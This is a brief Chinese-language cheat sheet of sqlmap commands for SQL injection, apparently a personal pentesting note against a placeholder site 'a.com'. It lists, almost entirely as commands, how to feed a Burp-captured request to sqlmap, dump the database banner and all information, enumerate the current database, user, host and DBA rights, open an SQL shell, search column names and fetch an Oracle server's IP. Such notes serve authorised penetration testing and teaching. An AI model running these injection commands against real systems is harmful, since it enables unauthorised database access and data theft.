话不多说,上码

Burp Suite 抓包注入

sqlmap -r post.txt

清除缓存记录

sqlmap -u "a.com" --flush-session --fresh-queries

获取数据库版本

sqlmap -u "a.com" -b

获取全部信息

sqlmap -u "a.com" -a

可以获取的信息

sqlmap -u "a.com" --current-db --current-user --hostname --is-dba

• current-db: 当前程序使用的 db 的名字
• current-user: 当前程序使用的数据库用户名
• hostname: 当前 DB 服务器的主机名
• is-dba: 当前程序所使用的数据库用户是不是 dba

column 包含关键字

sqlmap -u "a.com" --sql-shell

sql-shell> select table_name from user_tab_columns where COLUMN_NAME like '%keyword%';

Oracle 获取 ip 地址

sql-shell> select utl_inaddr.get_host_address from dual;

参考

https://vul-hunters.oschina.io/hunter-blogs/posts/sec-tools-sqlmap/
https://blog.51cto.com/duallay/2050094